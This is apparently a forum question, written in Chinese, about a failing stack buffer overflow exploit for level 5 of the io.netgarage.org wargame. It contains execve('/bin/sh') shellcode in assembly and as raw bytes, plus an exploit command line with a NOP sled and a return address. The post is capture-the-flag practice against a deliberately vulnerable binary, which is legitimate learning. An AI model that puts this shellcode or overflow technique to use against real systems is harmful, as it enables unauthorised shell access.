我目前正在尝试完成io.netgarage.org战争游戏的Level5。为了完成它,我写了以下asm有效载荷:
global _start
section .text
_start:
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
它应该通过调用sys_execve来生成一个shell,它确实如此。但只有这一点,因为我不会将它用作实际有效载荷 一旦我尝试将其提供给易受攻击的c程序,我就会得到segfaulted。通过使用gdb检查它,我能够将段错误固定到行
mov edx, esp
之前应该发生的一切(覆盖返回地址,NOP-Sled)实际上都是有意义的。
附加信息:
- 我通过使用
nasm -f elf32 file.asm -o file.o
objdump -d file.o
- 我这样称之为易受攻击的程序:
/levels/level05 $(python -c 'print "\x90"*115 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa0\xfb\xff\xbf"')
- 通过使用gdb检查堆栈的值得到的返回地址0xbffffba0 - 我目前的假设是它必须对堆栈做一些事情,因为使用我在网上找到的脚本,利用jmp-call-pop模式,似乎正常工作
谢谢你,
tarkes